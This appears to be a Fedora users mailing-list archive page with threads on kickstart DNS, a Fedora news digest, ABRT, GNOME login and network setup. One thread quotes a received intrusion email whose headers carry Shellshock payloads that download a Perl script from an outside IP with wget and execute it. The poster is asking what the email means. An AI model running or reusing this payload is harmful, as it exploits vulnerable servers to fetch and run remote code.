Name resolution for kickstart
by CLOSE Dave
We have a number of internal machines which run a local nameserver. It's
primarily a relay for the wider net but does a few other things as well.
So DHCP is configured to specify 127.0.0.1 as the nameserver address for
these machines.
Of course, that is also what kickstart is told when it connects and
begins operation. But, of course, kickstart is not running a local
nameserver. This means that name resolution for the "repo" lines in the
kickstart file doesn't work and installations fail.
The only workaround I've found is to use IP addresses in the "repo"
lines, not the associated names. But this isn't ideal: addresses can
change and sites using multiple addresses can't be properly matched.
Is there a way I can tell kickstart not to use the resolver specified by
DHCP but instead use one that I specify in the kickstart file?
--
Dave Close
9 years, 8 months
5tFTW: Fedora Council, Flock 2015, Workstation, F21 @ Rackspace, and Better Rawhide (2014-10-07)
by Matthew Miller
Reposted from <http://fedoramagazine.org/5tftw-2014-10-07/>.
Fedora is a big project, and it’s hard to keep up with everything that
goes on. This series highlights interesting happenings in five
different areas every week. It isn’t comprehensive news coverage — just
quick summaries with links to each. Here are the five things for
October 7th, 2014:
Fedora Project Board finalizes Fedora Council
---------------------------------------------
The Fedora Board and others in the community have been working on a
proposal to rearrange the highest level of project governance and
leadership. As board member John Rose notes in a message sent to
several key mailing lists, “the primary motivation in doing this is to
create a system of governance that includes a much more active
leadership responsibility”. This proposal is now in its final draft,
and the Board will be voting this week on whether to adopt it or go
back to the drawing board. You can read it at
* https://fedoraproject.org/wiki/MatthewMiller/council-draft
If you have any comments or questions, I’d love to discuss!
* https://lists.fedoraproject.org/pipermail/devel/2014-October/203141.html
Flock 2015 locations narrowed down to NY or CO
----------------------------------------------
Short story: while all of the bids are great, last week’s survey
indicates that Rochester and Colorado Springs are the leading options.
Flock organizer Ruth Suehle breaks down the details in a post on the
Flock planning list, and notes that the Flock planning team will be
working on cost analysis and choosing final dates for next summer’s big
Flock to Fedora contributor conference.
* http://fedoramagazine.org/flock-2015-bids-are-in-choose-between-cape-cod-...
* https://lists.fedoraproject.org/pipermail/flock-planning/2014-October/000...
* http://flocktofedora.org/
What’s coming in Workstation
----------------------------
Christian Schaller blogs about progress on Fedora Workstation,
noting specifically progress on Wayland (a new display technology that
hopes eventually to be the successor to X11), new upstream Human
Interface Guidelines, and the improved software installation GUI.
Christian concludes:
> [...] as we go towards Fedora Workstation 22 the pace of innovation
> and progress will only pick up. So great things are ahead and I hope
> that once Fedora Workstation 21 is released regardless of if you are
> a long time Fedora users, a lapsed former Fedora users or someone who
> has never tried Fedora before you will be willing to give it a try
> and hopefully become as excited about it as we are.
* http://blogs.gnome.org/uraeus/2014/10/02/fedora-workstation-progress-repo...
Testing Fedora 21 in Rackspace Cloud
------------------------------------
Interested in trying the Fedora 21 alpha (and upcoming beta) but aren’t
ready to put it on your own hardware? Fedora contributor and Rackspace
hacker Major Hayden posted an Ansible playbook which converts a
Fedora 20 instance running on Rackspace Cloud into a Fedora 21 test
system. Cool!
* https://github.com/major/ansible-rax-fedora21
Rawhide: getting better all the time
------------------------------------
Fedora Infrastructure team lead (and FESCo member, and many many other
roles in Fedora) Kevin Fenzi posted This week in rawhide, the early
October edition. Rawhide is the always-changing development branch
that runs ahead of even the alpha and beta releases — so right now, it’s
a long-removed preview of next year’s Fedora 22. Kevin notes some
important changes in the works, including signed packages (currently,
only the packages in the release branches are signed), and the goal of
making “test composes” every night. Currently, test composes are kicked
off by Release Engineering manually, and every six months there seems to
have been enough change that the process needs tweaking, sometimes
leading to delays. Having that be continuous will make sure we’re always
ready to go and is a big step forward towards more agile distribution
development.
* http://www.scrye.com/wordpress/nirik/2014/10/03/this-week-in-rawhide-the-...
--
Matthew Miller mattdm(a)mattdm.org <http://mattdm.org/>
Fedora Project Leader mattdm(a)fedoraproject.org <http://fedoraproject.org/>
9 years, 8 months
ABRT backtrace generation - how long to wait?
by Ian Pilcher
LibreOffice just crashed on me, and I'm currently waiting on the retrace
server to generate a backtrace. In fact, I've been waiting for about 50
minutes so far.
My question is when I should just give up and (possibly) try to generate
it locally.
Anyone know?
--
========================================================================
Ian Pilcher arequipeno(a)gmail.com
-------- "I grew up before Mark Zuckerberg invented friendship" --------
========================================================================
9 years, 8 months
Expected login behavior with gnome?
by Richard Shaw
I had forgotten that my computer shut down (bad UPS battery) and had
rebooted it but not logged in.
Later that day I typed in my password forgetting that i hadn't logged in
while I waited for the monitor to wake up (bad practice, I know...)
Interestingly, when I clicked on my login name, the password field was
populated and I was able to login without retyping it.
Is this behavior expected?
Thanks,
Richard
9 years, 8 months
Setup for a static ethernet connection
by Geoffrey Leach
I have a hard-wired ethernet connection. I'm trying to get Fedora 19 to work with it. Firewalld configuration has scripts added to open a route to the device. AFAIK, these are correct. The device is known to work.
Here's the entry in /etc/sysconfig/network-scripts
NAME="eno1"
DEFROUTE="yes"
IPV4_FAILURE_FATAL="no"
IPV6_FAILURE_FATAL="no"
TYPE="Ethernet"
ONBOOT="yes"
PEERROUTES="yes"
IPV6INIT="yes"
IPV6_PEERDNS="yes"
PEERDNS="yes"
HWADDR="E8:40:F2:05:DE:1C"
#BOOTPROTO="dhcp"
BOOTPROTO="static"
IPV6_DEFROUTE="yes"
IPV6_AUTOCONF="yes"
IPV6_PEERROUTES="yes"
IPADDR="198.168.20.5"
It's basically what the install gave me with the addition of IPADDR and removal of UUID (which seems to change) BOOTPROTO has changed from dhcp to static.
My problem is that I can't connect to the device, despite nm-tool
- Device: em1 [eno1] ----------------------------------------------------------
Type: Wired
Driver: e1000e
State: connected
Default: no
HW Address: E8:40:F2:05:DE:1C
IPv4 Settings:
Address: 198.168.20.5
and netstat -rn
198.168.20.0 0.0.0.0 255.255.255.0 U 0 0 0 em1
Suggestions for modifications or further diagnostics would be appreciated
9 years, 8 months
Off topic -- Can anybody tell me what this means?
by William Oliver
First, I apologize for this not being fedora-specific, but I just got
the oddest email. It looks like an intrusion attempt, trying to get
sendmail to execute a perl script. Is anybody familiar with this
particular pattern?
The email is below.
Thanks,
billo
Return-Path: <MAILER-DAEMON(a)billoblog.com>
Received: from incenclick.com (incenclick.com [184.95.45.61] (may be
forged))
by hope.billoblog.com (8.14.4/8.14.4) with SMTP id s96FKVOY029890
for <nobody>; Mon, 6 Oct 2014 15:20:31 GMT
Resent-Message-Id: <201410061520.s96FKVOY029890(a)hope.billoblog.com>
X-Authentication-Warning: hope.billoblog.com: incenclick.com
[184.95.45.61] (may be forged) didn't use HELO protocol
To:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/bb@hope.billoblog.com;;
References:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Cc:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/bb@hope.billoblog.com;;
From:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/bb@billoblog.com;;
Subject:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Date:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Message-ID:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Comments:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Keywords:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Resent-Date:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Resent-From:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/bb@billoblog.com;;
Resent-Sender:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/bb@billoblog.com;;
wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
9 years, 8 months
what causes: kernel:[38405.042543] do_IRQ: 0.81 No irq handler for vector (irq -1)
by Ranjan Maitra
Hello,
I get the following message repeatedly from syslogd, after a wakeup from
hibernate:
kernel:do_IRQ: 0.81 No irq handler for vector (irq -1)
I am running kernel 3.6.3-200 on a fully updated F20.
Any suggestions as to how to diagnose and fix the issue?
Thanks,
Ranjan
--
Important Notice: This mailbox is ignored: e-mails are set to be
deleted on receipt. Please respond to the mailing list if appropriate.
For those needing to send personal or professional e-mail, please use
appropriate addresses.
____________________________________________________________
FREE 3D EARTH SCREENSAVER - Watch the Earth right on your desktop!
Check it out at http://www.inbox.com/earth
9 years, 8 months